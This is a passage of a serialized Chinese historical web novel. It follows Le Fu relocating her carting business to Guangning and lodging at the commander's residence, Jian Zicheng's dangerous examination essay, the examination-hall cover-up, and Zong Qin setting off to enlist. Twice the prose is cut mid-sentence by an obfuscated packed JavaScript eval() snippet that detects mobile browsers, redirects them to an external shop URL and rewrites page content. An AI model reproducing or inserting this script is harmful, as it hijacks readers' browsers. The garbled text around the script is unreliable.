“至于纳粮……你当开中法是给你这种小车行准备的？” “开中的榜文还没贴出来，商帮的粮车就已经等在卫所外边了。人家在边镇有商屯，粮食就产在卫所门口。你呢？等你从辽阳现收现运，榜上的盐引早抢光了！” 乐廷章允许闺女开间车马行过家家玩，挣多挣少他不管。 可要是触了那几个老商帮的霉头，敢动人家的盐引，以他们面善心黑的行事作风，辽安驿运就跟纸糊的一样。 到时就不是赔钱散伙的事了，车沉浑河，人埋荒野，死无全尸都没处喊冤。 一听丈夫提起商帮，沈德仪当即坐直身子，担忧地看向女儿： “商帮的人早抱成了铁板一块，敢撬他们路子，轻则破财丢货，重则连命都搭上，就连你外祖父都不大招惹这等亡命之徒……” 沈德仪实在担心，“娘不是吓唬你，那些人为了银子，不择手段。” 乐弗全程默默听着，夹了一筷子糟鲥鱼放进碗里拨弄。 等到沈德仪说完，她抬起头，扮作乖顺模样，声音软软的：“娘说得是，女儿记住了。” 沈德仪盯着闺女看了两眼，觉得不对劲，却又挑不出毛病。 “记住就好。”乐廷章重新抄起筷子，“吃饭吃饭。” 乐弗乖乖端起碗，将那块糟鲥鱼送进嘴里。 她当然不会跟那群人硬碰硬。 再狂，她也没狂妄到觉得自己一个小车行，能跟那几家盘踞辽东几十年的地头蛇掰腕子。 但她知道一个道理：商帮之所以强，是因为他们有一群利益共享，风险同担的人。 她想分一口蛋糕，也得有一群人，不是那种拿钱办事的伙计，而是真正能把身家性命押在辽安驿运里的人。 可是上哪找这种人？ 算了，想这些太早，等到了广宁再说。 夜里，房间内水汽弥漫，乐弗懒懒倚在浴桶边开口： “那些里衣勒得难受，将那件中衣取来，上下通裁的那件。” 藤梨应声，到里屋一通翻箱倒柜，结果空着手回来：“姑娘，没有啊。” 乐弗闻言一怔，随即扶着桶沿站起身，水声哗啦作响：“怎么会，年前刚做好的……” 那件中衣，样子仿的前世寻常的吊带裙，无袖，领口开得低，肩背处全露，只靠两根细带子挂着。沈德仪头回见着裁剪样子，足足念叨了三日“不成体统”，才肯让针线房做了送来，这也是她唯一一件穿着真正舒坦的贴身衣物。 胡乱擦擦身上，乐弗披上罩衣亲自进到里屋。 藤梨举着烛台跟在后头，二人把柜角，床幔褶子里全翻了一遍，连片影子都没见着。 乐弗直起身，盯着那只空荡荡的柜子，百思不得其解。 裙子是暗花纱的料子，银红色，叠好了就放在这一格，上头还压着块驱虫的香饼子。 如今香饼子还在，裙子却不翼而飞。 身为卧底，藤梨自然清楚衣裳的去处。眼见着姑娘眼神不对，大有把屋子翻个底朝天的意思，她赶忙开口： “兴许是夫人收走了。” 乐弗一想也是。 毕竟她娘早就瞧这衣裳不顺眼，前些天还说要趁开春，给她屋里归置归置。 “那算了。”往绣墩上一坐，乐弗偏过头去绞那湿漉漉的长发。 藤梨暗自松气，连忙上前接过梳子，替她一下一下篦着发丝。 7. 住下 二月中的辽东都司，风意未软，扑在脸上仍是硬的。 一辆马车从南边的迎恩门驶进广宁城，乐弗掀开车帘朝外看。 “到底是辽东重镇……” 这里的城墙比辽阳还高出一截，仰头看去，灰扑扑的墙砖顶着天，城门洞子里人车挤作一团，骡马喷着白气，车把式们操着南腔北调的吆喝，人声鼎沸。 到了十字大街，一串脆亮的声音从车旁擦过。 “早登科，独占鳌头嘞——利市花儿，登科及第喽！” 那声音拖得长长的，在早春的风里打着转，飘进乐弗耳朵。 是个小货郎。 扁担两头挑着竹篾编的浅筐，里头插满了红红绿绿的小玩意儿。 几个孩童正围着他跑，小货郎从筐边取下一支什么东西，高高举起来朝孩子们晃，远远看去，红纸金箔，怪喜庆的。 登科。 乐弗心里跟着念了一遍。 二月中了，会试该考完第三场了吧，也不知简自澄答得顺不顺当。 “停一下。”她朝外头赶车的齐宝喊了一声，撩开车帘探出半个头，“小货郎——” 听见有人喊他，小货郎挑着担子快步走过来，刚要吆喝，一眼看过去，话头猛地刹住了。 他下意识把目光挪开，往头顶的车檐上看，往马车后的大街上看，往车轱辘上沾到的灰土看。 可眼珠子不听使唤。 飞快地又瞟了乐弗一眼，小货郎低头盯着自己扁担上挂的一串小铃铛：“姑、姑娘……” “要、要什么？” 齐宝当即就笑了，他转过身子：“你小子刚才舌头还好好的，这就结巴了？” 货郎依旧盯着扁担上那串铃铛瞧，“我、我……” 我了半天，愣是没我出个所以然来。 此时，筐边一支红纸扎的物件吸引了乐弗的注意。 比手掌略长些，是一枝红梅的样式，花瓣用红纸一层层叠出来，梅蕊处贴着小片金箔，底下衬着两片绿纸剪的叶子。 梅花枝上缠着红纸条，上头写着四个字：早登甲科。 “这是春梅报喜，八文一支！”注意到乐弗视线，小货郎主动把东西递过来让她瞧仔细，“姑娘买一支吧，保准心想事成！” 藤梨从袖子里摸出铜板递过去，接过那支报喜梅。 帘子重新落下，马车缓缓动起来。 “姑娘买这做什么？”藤梨举着报喜梅，翻来覆去地把玩。 乐弗往车窗外瞥了一眼，那小货郎挑着担子走远了，嘴里又吆喝起来，声音远远的，听不真切。 “先拜码头，再做买卖。”她说。 藤梨眨眨眼，没太听懂。 “宗钦既已考完，咱们待会儿去总兵府拜见伯父，顺便带个喜头过去，让他高兴高兴。” 老天爷！ 吓得藤梨当即把手里的报喜梅小心放在包袱上，对着翘边儿的叶子压了又压。 这可是姑娘头一回送公子东西，虽然就几文钱，那也不敢损毁一点儿。 马车外的街道渐渐稠密起来，铺面挤挤挨挨，远处，一座高大的鼓楼隐隐可见。 经过鼓楼后，马车拐上另一条街，两侧不时闪过官署门楼。广宁备御都司、广宁卫，一块块匾额从车帘缝隙里掠过。 瞄着那些大门，藤梨从心里倒数：三、二、一。 齐宝吁的一声勒住马。 到了。 藤梨把那支报喜梅小心捎上，跳下车，撩起帘子，扶着乐弗下来。 “镇守总兵府”五个描金大字还是那么晃眼，门两侧各立着一只石狮子，比人还高，瞪着大眼，一脸威严，仿佛来人是谁都得先过它们这一关。 乐弗站在台阶底下，看着这对儿石狮子，忽然笑了。 “姑娘笑啥？”藤梨凑过来问。 “想起小时候了。”乐弗说，“那时，我骗宗钦，说这两只石狮子夜里会换班，一只睡觉一只站岗，第二天早上再换回来。” “然后呢？” “他信了。”乐弗往前走了两步，“那时他五岁吧……绕着这两只狮子转了三圈，想看出哪只是刚睡醒的。” 藤梨噗嗤一声，又赶紧捂住嘴。 乐弗走到左边的石狮子跟前，伸出手，怀念地在它前爪上拍了拍，随后从偏门进了总兵府。 幼年时来这，都是跟着爹娘一起。 宗传辉总是在二门迎他们，几人走过照壁，走过穿堂，再一路走到后头的院子里。 宗钦准在那儿。 要么练功，要么背书，要么坐在廊下喂他那只鸽虎。 那只灰蓝色的鸽虎圆头圆脑，黄喙黄爪，看着倒是可爱。 只是有一次没等她走到近前，那大鸟就扑上来对着她头顶的绒花一阵撕扯，她不慎磕在台阶上，右边额角鬓发底下，至今还留着一道浅浅的印子。 从那起就再没见过那只鸽虎…… “姑娘？”藤梨的声音响起。 乐弗回神，发现已经站在二门里头了。 这里的穿堂，游廊，台阶都没变，只是边角被岁月磨得圆润了些。 这时打里头出来一个眼生婆子，看着五十不到，老远就福了一礼，一脸和气：“老爷正等着呢，姑娘这边请。” 几人来到正厅，里面烧着地龙，暖意融融，宗传辉端坐在上首，身姿板正。 乐弗上前几步，端端正正行了个礼：“给伯父请安。” “起来吧。”宗传辉虚扶一下，目光落在乐弗脸上，像是打量，又像是确认。 其实不用确认，这孩子出落的什么样，他比谁都清楚。 儿子书房里挂得满墙都是。 从七八岁扎着双丫髻，到十二三刚抽条，再到如今……一张挨着一张的画像，密密麻麻。 头一回见着时，他惊得说不出话。儿子不解释，也不遮掩，好像那是再正常不过的事。 如今乐弗就站在眼前，仙姿玉貌，风华灼灼。宗传辉心里叹了口气，子不教，父之过。 不怪那小子惦记至今。 “路上冷吧？”他收回目光，指了指旁边的椅子，“快坐下说话，你爹这些日子忙什么呢？” 乐弗依言落了座，“说是开春了，事儿多。” “他惯会躲清闲。”宗传辉笑了笑，抿了口茶，目光不经意往门外看了一眼。 藤梨，齐宝。 一个是他在路边捡回来的，一个是他大营里出去的，此刻脑袋低得快扎进胸口，俩鹌鹑似的，愣是不敢往他这边看一眼。 他放下茶盏，正想问今日来可是有什么事，却见乐弗朝藤梨递了个眼色。 藤梨硬着头皮上前，把那支报喜梅捧了出来。 “这是？” 乐弗笑了笑：“哥哥这会儿在京城会试，我来请安，顺道添个彩头。” 宗传辉接过那只红梅，嘴上说着“有心了”，心里却清楚，宗钦考不考得上，她未必真往心里去，不过是礼数到了，做出个惦记的样子，面上好看罢了。 可那小子若是知道…… 宗传辉把那支红梅小心搁在小几上，又看了眼乐弗。 “说吧，”他往椅背上一靠，语气松快了些，“还有什么事？” 乐弗眉眼弯了弯，也不藏着掖着：“伯父明鉴，去年，您府上的孙管事，把我在递运所的路子给断了。” 她说得坦然，像是在说外头天冷风大，语气再寻常不过。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341554|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琢磨着，辽阳那边既然不好做，索性把车马行挪到广宁来。”她顿了顿，眼睫微微垂下来，面上添了几分乖巧的示弱。 “就是头一回在广宁做买卖，心里没底，得来求您一句话，往后也好挺直腰杆。” 听出这丫头故意拿话臊他，宗传辉嘴里那口茶咽也不是，不咽也不是。 儿子偷摸的不办人事，老子还能怎么着？ 他把那口茶顺下去，脸上已经换了一副神色。 惊讶里带着点不信，不信里又带着点疑惑，半晌才憋出一句：“孙管事？不能吧……” 乐弗只笑笑，半句多余的话也没有。 “一定是误会！”宗传辉说着还摇了摇头，一脸替她抱不平的模样，“底下人瞎了眼，拿着鸡毛当令箭。等我回头查清楚，该打的打，该撵的撵，必定给你出这口恶气！” 台阶都铺到脚跟前了，乐弗自然顺势就下，语气平和得很： “伯父这话就重了。大过年的，打打杀杀多不吉利？正好我也换个营生，这事就过去了。” 这话一出，宗传辉心里反倒莫名堵得慌。 “也行。”他声音沉了几分，“广宁这边，你尽管放心。” 乐弗见好就收，当即起身，规规矩矩再福一礼：“那侄女就不打扰伯父了，改日再来给您请安。”转身刚要迈步—— “等等。”身后传来宗传辉的声音。 乐弗回过头，见他端着茶盏，目光落在自己身上，像是在掂量什么。 “来广宁，打算住哪儿？” “先找家客栈凑合几日，等铺子安顿好再……” “客栈？”宗传辉直接打断，眉头一拧，“先不说你一个姑娘家在外不便，就外头那些碎嘴子，你想过没有？” 乐弗张了张嘴，她想说外头那些人爱说什么说什么，关她屁事？ “我跟你爹几十年的交情，如今你放着总兵府不住，去住客栈。回头街坊四邻问起来，只当我眼睁睁看你在外漂泊，连口热饭都不管，我这脸往哪儿搁？” “伯父，哪就到这般地步了？” “不必多言，就住这儿。” 宗传辉“当”的一声搁下茶杯，起身拿过那枝红梅，直接对着方才引路的婆子吩咐，“我衙门还有公务，你带姑娘去后院安顿。” 话音一落，人已大步朝外走，干脆利落，半点商量余地都不留。 藤梨小心翼翼凑过来嘀咕：“姑娘，那咱们……？” 乐弗没说话，有些无奈地弯了弯唇角，这才恍然大悟：原来宗钦那个说一不二的狗性子，根本不是凭空来的。 这父子俩简直一个德行！ 那引路的婆子上前一步，圆盘脸上浮着笑：“我姓周，在府上伺候五年了，往后有什么事，姑娘只管吩咐。” 说着，周妈妈侧身在前头引路，步子不快不慢，正好让乐弗能跟上，又不显得催促。 几人出了正厅，绕过一道穿堂，眼前顿时开阔起来。 周妈妈一边走，一边指着前头轻声说： “姑娘住的院子叫‘式微阁’，名字是公子取的。院里头还爬着一架藤萝，叫南蛇藤，是公子在山里挖来的。等到秋天果子裂开，里头露出红彤彤的籽儿，小灯笼似的，好看得很……” 后面的话乐弗没细听了，心思全落在“式微阁”三个字上。 式微式微，胡不归？ 天都黑了，为何还不归家…… 她默默念了一遍，忽然觉得这名字很耳熟，有种说不清的熨帖，仿佛在哪听过。 却一时想不起来。 周妈妈还在絮叨着什么，乐弗站在院门口，目光落在门楣那三个字上。 风从院中那架枯藤间穿过，簌簌作响。 8. 策论 周妈妈把乐弗安顿妥当，又嘱咐了几句茶水炭盆的事，这才掩上门退出来。 一路脚下生风，脸上的笑就没下去过。 厨房里香气扑鼻，灶上砂罐中煨着长白参炖猪肚鸡，咕嘟咕嘟冒着泡。灶边白案上，陈平家的正在开酥，袖子挽得老高，手上沾了不少猪油。 见来人进来的模样，她愣了一下：“周姐姐，捡着银子了？” 周妈妈走到灶边，掀开盖子看了一眼，又盖上，嘴都合不拢：“比捡银子还高兴。” “什么事儿啊？”陈平家的手底下动作不停。 “式微阁，住进去了！” 式微阁？ 开酥的手一顿，陈平家的顿时瞪大双眼：“什么？” 周妈妈点点头，依旧笑眯眯的。 陈平家的把手里的面团往案板上一撂，手上酥油蹭到围裙上：“我的老天爷！竟来了？” “来了，刚安顿好。”周妈妈说着，想起刚才见着的人，忍不住又笑，“等你见了就知道，墙上那些画得再真，连人家一根头发丝儿也比不上！” 陈平家的倒吸一口凉气，正要说话，一旁蹲着的小丫头妙儿抬起头，一脸懵懂：“妈妈们说什么呢？” “小孩子家家的，择你的菜。” 妙儿缩缩脖子，低头继续忙活。 灶台边烧火的张嫂子把柴火往灶膛里一捅，拍了拍手上的灰，凑过来：“来干啥来了？” 周妈妈卖了个关子，故意不说，只笑。 陈平家的忽然想起什么，压低声音问：“那她可知晓咱们公子……？” “看着不像。人家客客气气的，谢了这个谢那个，一进院子，还夸‘总兵府气派’……听得我直想笑。” 张嫂子没懂：“什么意思？” 周妈妈把声音压得更低：“这些年，公子从南边弄了不少好东西，什么汝窑笔洗，时大彬的紫砂壶，和田的玉香炉，全填进式微阁了。姑娘以为是咱们老爷摆阔，压根没往公子身上想。” “也是白搭。人家都有亲事了，公子还在这儿巴巴地等，图什么……”陈平家的叹了口气。 旁边择菜的妙儿抬起头，实在想吃上这口瓜：“谁有亲事？” 三个妈妈齐齐看她一眼。 妙儿立刻低下头，这回连耳朵都不敢竖了。 厨房里只剩下汤水咕嘟轻响，伴着柴火噼啪燃烧。 过了一会儿，陈平家的忽然冒出一句：“你说那小子，得什么样啊？” 她看着宗钦从小到大，长成如今这副高大俊朗的模样，文能提笔，武能上马，满辽东也找不出几个了。 与那姑娘订亲的小子，又该是何等人物？ 张嫂子抓了把毛磕分给几人：“门房老李头提过，别看那小子家里只是个五品，可他爹是翰林学士，将来能入阁的，清贵得很！” 妙儿择完菜，端着水盆起身，“那种人家，规矩是不是特别大？” “可不咋地？”张嫂子随手将瓜子皮扔进灶膛。 “听说那样的人家，说话从不高声，走路轻手轻脚，底下的端茶倒水全掐着时辰，连喘气都透着斯文体面，哪像寻常人家大呼小叫的。” 这边儿话音刚落—— 京师东城，南薰坊，东江米巷的翰林学士府。 “孽障！跪下！”这道怒吼，音量大得能把房顶挑开。 祠堂的门大敞着，里头传来几声脆响，一只青花茶盏被狠狠砸在地砖上，碎成七八瓣。 简崧把手里的纸张卷成筒状，指着儿子，脸涨得通红。 廊下几个小厮垂着头，眼观鼻鼻观心，谁也不敢往里瞧一眼。 冯素安提着裙子从后头小跑进来，一把拉住丈夫胳膊：“老爷！这是做什么？” “做什么？你问问这孽障都写了什么！” 看了一眼跪在地上的儿子，又看看满地碎瓷，冯素安压低声音劝：“老爷！清贵门第，颜面要紧，让下人看见了有失体面！” “清贵？”简崧的嗓门比方才还大，“什么清贵！只怕全家都要被这孽障拖累下狱了！” 说着就把手里的纸甩到她身上，“你自己看！” 冯素安手忙脚乱地接过来，展开一看，上面是儿子默写的策论原稿某段： [……陛下入承大统，正宜布德施仁，与天下更始。若以疑似之迹，门户之嫌，辄行穷治株连，则恐朝野惊疑，人心不安，非固国本，安兆民之道也……] 她惊得变了脸色，哆哆嗦嗦放下纸，无比担忧地看着跪在地上的儿子，一言不发。 “你劝他卫嵘宽仁？你是嫌咱家死得不够快么！”简崧出离愤怒，得不得一脚踹死这个不省心的东西。 “太子生死未明，其旧部人心惶惶。这时大肆清算，反倒越叫朝臣自危。卫嵘若想坐稳江山，便该收手，以安人心。”简自澄跪在砖地上，脊背挺得笔直，眼底不见半分怯意。 “坐稳江山？”简崧盯着跪在地上的儿子，慢慢踱到他身后，忽然冷笑一声，“你以为我不知道你打得什么主意？” “你是生怕那丫头一家被卫嵘扯出来吧！” 简自澄脊背一僵，“我……” “你闭嘴！”简崧一巴掌拍在面前的供桌上，震得香炉里的香灰簌簌抖落。 “亏得你爷爷早已退居林下，卫嵘念他多年不涉朝政，安分守拙，这才饶过咱家！不然单凭‘太子太傅’这四个字，够满门抄斩三回的！” 他喘着粗气，眼里的讥诮几乎要溢出来：“自家都如履薄冰了，还玩儿那些书生意气，儿女情长……好啊，你好得很！” 祠堂里静了一瞬。 日光从高窗斜斜打进来，落在简自澄半边脸上。那半张脸干干净净，看不出什么表情，像往常一样沉静，淡漠。 简崧绕到儿子面前，弯下腰，盯着他的眼睛，一字一顿： “你看不清局势，拎不清轻重，满脑子妇人之仁，我怎么就生了你这么个枉顾家门，不辨死活的孽障？” 骂完了，他指着跪着的简自澄，眼睛却转向冯素安：“这些日子，给我看住他，不许出门，不许见客，更不许往外递一个字！” 冯素安张了张嘴，想说什么，简崧却没给她开口的机会，往前走了一步，语气危险： “要是敢由着他胡来，坏了我简家门庭，到时你们母子，就一块儿滚出这个家！” 冯素安的脸色更白了，身子晃了晃，扶住门框才勉强站稳。 说完，简崧夺过她怀里的策论，头也不回地走了。 供桌上的线香还在燃着，青烟笔直往上，在光线里打着旋儿慢慢散开。 冯素安扶着门框站了许久，终于动了。 她径直来到简自澄身边，腿一软跪下去，伏在儿子肩头，声泪俱下。 “儿啊！”她攥着简自澄的胳膊，声音发颤，“娘求你了，忘了那孩子吧。” 任由泪水洇湿肩头的衣裳，简自澄始终盯着地上的碎瓷一角，不动分毫。 浅金色日光在他脸上慢慢移动，从眉梢挪到眼角，一点一点，悄无声息。 他想起十岁那年刚到辽阳时。 苦寒，荒凉，那里的人说话粗声大气，一文钱的事能吵半个时辰。他从小在京里长大，往来的是体面人，听的是文雅话。 他想，这破地方狗都不待。 更别提那些车夫，脚力，蛮夷……连个眼神都不愿意施舍。 祖父让他去家塾，他就去。让他装温文尔雅，他就装。 他把心里那点鄙夷藏得很好，直到遇上乐弗。 那年两人开了第一间杂货铺，进了批货，库房后头乱得很，几个搬运的老汉满身汗臭，蹲在地上啃干粮。 他不想往里走。 乐弗没理会他的矫情，自己进去，蹲在那老汉旁边，问他家里几口 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简自澄抬起头，望着眼前一列列的牌位。供桌上依旧青烟升腾，绕着那些描金的祖宗名号，慢慢上飘。 他罕见地迷茫了。 要放弃吗？ 从迁安驿到京城，这一路他问了自己无数遍，每每想到这两个字，胸口便空得喘不上气。 真的，要放弃吗？ 他对着这些牌位又问了一遍。 可死物不会开口，只有青烟兀自上飘，触到屋梁就消散了。 无人应答。 * 简崧径直回了书房，独自枯坐。 从日头偏西，坐到暮色四合，再到烛火灼灼，映得满室寂寥。 身为翰林学士，这些年经他手批阅的会试答卷，成百上千。儿子的通篇应答文辞醇正，格局气度，远非寻常士子可比。 不说会元，名词靠前是稳稳拿住的，到了殿试再争一争，进翰林院做庶吉士，也并非奢望。 可偏偏，就多了那么一段…… 那些话放在太平年景，是忠言，可放在如今这个节骨眼上，就是找死。 卫嵘登基不足一个月，京城早已杀得人头滚滚。凡与旧太子过从亲密者，斩首的斩首，流放的流放，无一幸免。 只要儿子的卷子落到监察御史手里，被有心人揪住不放，那简家这点安稳，便会瞬间灰飞烟灭。 若是此刻动身去贡院，找接替他主考官之位的侍读学士杨弓，托他悄悄扣下卷子也并非难事。 可真这样做，那便是科场舞弊，被发现照样杀头连累全家。 简崧坐在那里一动不动，像尊石像，直到烛火噼啪一声爆起个灯花，他才猛然惊觉，已是深夜。 贡院明日就要落锁。 一旦关上大门，内外彻底隔绝，再想给杨弓递话，难如登天，留给他的时间已然不多。 思虑再三，他突然起身，举着烛台冲回祠堂。 里头长明灯昏黄如豆，映得他的影子如冬日里枯槁的枝桠。 简崧缓缓跪下。 他这半辈子，不结党弄权，不营私舞弊，更不阿谀奉承，如今竟被逼上绝境。 藏起卷子全家活命，但此举辱没祖宗，还毁了儿子一生志气。 若不藏，便是把全家人的脑袋，都押在那卫嵘的胸襟气度上…… 罢了，天道昭彰。 就让誊录去抄，让主考去评，让御史去查。 是非功过，自有后人评说！ 简崧重重叩首，额头触在冰冷的砖石上，泪水顺着脸颊滚落，他语气哽咽： “列祖列宗在上，保佑我儿……保佑简家……” 祠堂寂静，唯有香火无声长燃。 9. 贡院 贡院落锁这天，本该监临会试的张御史临时告病了。 原也不是什么大事，十三道一百一十名御史，缺一个补一个就是。 只是偏偏赶上卫嵘清算的当口，菜市口的血刚干，各地辩冤陈情的诉状，雪片似的往都察院飞。 都察院上下忙疯了。 有的去查抄太子旧部的家产，有的去复审刑部大牢里的重犯，有的跟着锦衣卫去地方上拿人。剩下的一小半，手里都压着七八个案子，天天熬到后半夜。 人事官翻着簿子，查了半天，竟一个能腾出工夫的都没有。 消息报上去的时候，左都御史徐仰光正在看弹章，听完头也没抬，只问了句：“没人了？” 底下人垂着头：“大人，实在是抽不开了。” 徐仰光将手头的弹章放好，站起身掸掸袍子：“那便我去。” 贡院之中，内外帘两厢皆是一派火烧眉毛的景象。 谁也没想到，平日里一拍惊堂木，六部九卿都得竖起耳朵的徐仰光竟亲自来了？ 方才还窃窃私语的几人，瞬间安静如鸡，只剩外帘的对读官一字一句核对考卷的声音。 这尊大佛谁请来的？ 莫不是……新皇授意？ 主考官杨弓心里不住嘀咕，谁不知那卫嵘是个小心眼子，防朝臣跟防贼似的，这时把手伸到贡院，连会试大比也要掺合，实在叫人无话可说。 这么怕人非议，不如把天下读书人都屠戮干净，一了百了！ 外帘，年轻的誊录生池天奇正以工整小楷重抄试卷，只是写着写着，狼毫笔就慢慢停了，墨点险些落在卷上。 [辄行穷治株连，则恐朝野惊疑……] 天爷啊。 池天奇抬眼飞快扫了一圈四周。 贡院里这几个，大多是科举出身，读的是孔孟仁义，胸怀江山社稷，没有一个真心待见那位靠杀人立威的新皇。 真敢写啊这小子……对脾气！ 恰在此时，廊下传来一阵脚步声，不紧不慢，却像敲在他的心上。 除了巡场的徐仰光，还能有谁？ 池天奇下意识绷直了身子，手底下继续运笔，等脚步声走过，他脑子一热，顺手将这份卷子收进袖里。 他认为此人能以这样的方式拼死直谏，很是不孬！ 年轻人当官，就这点好处。一腔子意气，路见不平就愿意撺掇自己拔刀相助。 大丈夫有所为，有所不为。 池天奇，你今日不能见死不救！ 一股热血冲上头顶，他取了出恭牌离开誊录房，绕开对读的那几位，一路直奔内帘主考公房。 杨弓正埋头阅卷，累得头晕眼花，腰酸背痛，见学生鬼鬼祟祟进来，没好气地喝问： “何事！” “老师！”池天奇一把抽出袖中试卷，“把这人的卷子扣下吧，若对读时被左都御史听见了……落榜也好过杀头啊！” ？？？ 杨弓惊得八字胡都抖了起来。 别人杀不杀头他不知道，但他知道自己要被这倒霉孩子给害死了！ “你这是舞弊！！” 杨弓夺过那卷子，粗略一扫，当即就想一砚台拍死池天奇。 他咬牙切齿，正要将试卷往靴子里塞—— “怎么了？” 这声轻问不高，却像一道雷劈在二人心头。 池天奇浑身过电似的发麻，杨弓也僵了一瞬，缓缓直起腰，脸色煞白。 徐仰光推门而入。 他一身绯色官袍，腰束玉带，将近知命之年，浑身带着御史台特有的煞气，目光一扫，就知屋里这俩非奸即盗，欠弹劾了。 杨弓双腿软得像面条，得亏坐着，不然早躺地上了，他强装镇定开口：“徐大人，此卷语涉、语涉朝政……” 还是没能救下来。池天奇绝望地闭上双眼，非但没能救下，反倒把恩师一并拖下水…… 徐仰光接过试卷翻看，面色无波。 如今满朝文武，谁敢对卫嵘说半个不字？一个举子，竟敢把话明明白白写在卷上。 他并未惊怒，眼底只剩一片寂然，显然是被这段文字触到了旧伤。 昔日一同立志辅佐太子，安定天下的同僚挚友，如今大半已成了卫嵘的刀下亡魂。桌案上每日都有锦衣卫呈报的处决名单，那些人到死，也没有一个供出他的名字。 唇亡齿寒，兔死狐悲。这些日子，他每每翻看旧友书信，不免泪湿衣襟。朝中忠直可用之人也越来越少，他正愁没有得力臂膀…… 徐仰光将卷子轻轻放回案上，心中已然断定这是个可堪托付的人。 “不错。行文坦荡，骨力俱足，见识不凡。” 池天奇猛地抬起头，满眼不敢置信。 “比我当年还强上几分。” 说完，徐仰光不再多看一眼，转身便走，留屋内两人僵在原地。 这就完了？ 没骂？没抓？没叫锦衣卫？ 池天奇缓缓瘫坐在地，他连杖毙的下场都想到了，此刻整个人如堕梦中，虚飘飘的。 杨弓也愣了一阵，重新拿起那张险些害了师生俩的卷子。 看着上头的文章，他心里五味杂陈，谁都知道徐仰光是乙丑科状元及第。 此前科举已停办整整六年，殿试时更是神仙打架，他能被先帝一眼看中，其才其胆，早已是天下公认。 杨弓听得出那几句话不是随口夸赞，是明明白白的授意与庇护。 望着手中试卷，他叹了口气。 既然徐大人开了金口，他身为主考官，再送这后生一场造化，又有何妨？ “老师，那这卷子……” “还用我教？” 池天奇心领神会，立刻收好试卷，头也不回地跑了。 * 三月初五，京城的杏树进入盛花期，一树树粉白，花瓣纷飞，飘过那张刚刚贴出来的杏榜。 礼部衙署的东墙底下挤满了人，鼎沸的人声不断传进一辆路过的马车上。 “放榜了，你不下去看一眼么？” 宗钦双手环胸，倚着车壁阖目养神，闻言眼都没睁，丢出一句：“我没考。” 车厢里瞬间静了一息。 “没考？！”古宥谦恨不得一刀攮死他，“没考你大老远跑回京来干什么？！害得小爷天天——” 对上那双骤然睁开，凉飕飕的深眸，剩下的抱怨被他生生咽回肚里。 古宥谦心好累。 他不明白，当年一起上房揭瓦的发小，怎么如今比国子监里那些五经博士还要吓人？ 性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341556|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子乖张也就罢了，一身疙瘩肉鼓鼓囊囊的，同为二十年岁，身形竟比他壮了两圈不止，狗熊成精似的。 对了，辽东那地方是不是盛产这玩意儿…… 古宥谦晃晃脑袋，将发散的思维收回来。 “那你来干什么？” “来投军。” 古宥谦没说话，只用一种“你有脑疾”的眼神上下打量宗钦。 他无语到了极点，竟笑了两声：“我爹说了，以你的才学，二甲是稳稳当当。放着好好的进士不做……太平年景，去当丘八？” 宗钦放下双臂，向后靠了靠，舒展一下肩背： “文官三年一考满，等我熬出头，什么都晚了，军功来得快些。” “谁不是这么熬过来的？急什么……” 宗钦看他一眼，语气淡得像水： “我只有三年。” 此时，任何形容词都不足以描写古宥谦的心情，他看宗钦跟看一头活驴似的：“三年顶个卵用？” “如今鞑靼、女真虽说不老实，却也没有出格举动。朝廷是不能出征么？师出无名罢了。两边僵了多少年？卫所里的百户千户，熬白了头发也捞不着一场像样的仗，又哪来的军功？” “不用等仗来，我投夜不收，打过去。” 话音一落，古宥谦先是一怔，跟着整张脸涨得通红，声音都劈了：“什么？！” “你疯了！”他气急败坏地一把攥住宗钦胳膊，“你当那是什么差事？出关哨探，撞见女真游骑，蒙古斥候，稍有不慎，全尸都捞不回！你的命就这么不值钱？” 宗钦难得扯出点笑意，“怕了？” “我怕什么！”古宥谦拧眉，一脸莫名其妙。 宗钦没解释，推开窗，马车已驶过礼部衙署，再往前就该是朝阳门了。回头时，他目光带着些许怜悯，“你爹托我，这趟回去带上你。” “……”古宥谦脑子直接空了。 好半晌，车厢里爆出几声杀猪似的嚎叫。 宗钦还是那副模样，只一眼就将古宥谦扒门的手吓得缩回去，连嚎叫都咽回嗓子。 “我爹，好狠的心……” 古宥谦瘫坐回车厢角落，鼻尖发酸，眼眶通红，脑子里跑起走马灯。 教坊司苏姑娘的小手还没牵够，小嘴儿更是没亲上，先前砸下去的银子，岂不是打了水漂？团龙贡茶都没喝几口，他的金甲大将军也不在身边，浑身上下一通翻找，统共摸出十两碎银。 天爷！ 古宥谦只觉得被亲爹判了死刑，当下也顾不上体面，抱着膝盖，哞哞地哭嚎： “早就知道他不待见我！上头有个掐尖儿的哥哥杵着，他一见我非斥即骂，没一句好话……如今还把我往鬼门关里塞，竟是半点儿也不心疼我这条命啊！” 说到痛处，他哭得更凶了：“我到底是不是他亲生的！” “你跟你爹长得一样，不是亲父子，难不成是亲兄弟？” 此话一出，古宥谦哭都哭不顺畅了，差点笑出声，憋了半天骂出一句：“你个缺德带冒烟儿的……” 马车缓缓前行，一射之地外就是朝阳门的城楼，出了这里，用不了四五日就能见到山海关。 “行了。”宗钦扔了条帕子给他，“三年而已，我一定将你全须全尾地带回来。” 10. 老登 这晚，乐弗再次坠入那个梦境。 梦里也是三月中旬，书塾的窗纸上还结着薄薄的霜花，正值申正初刻，日影西斜。 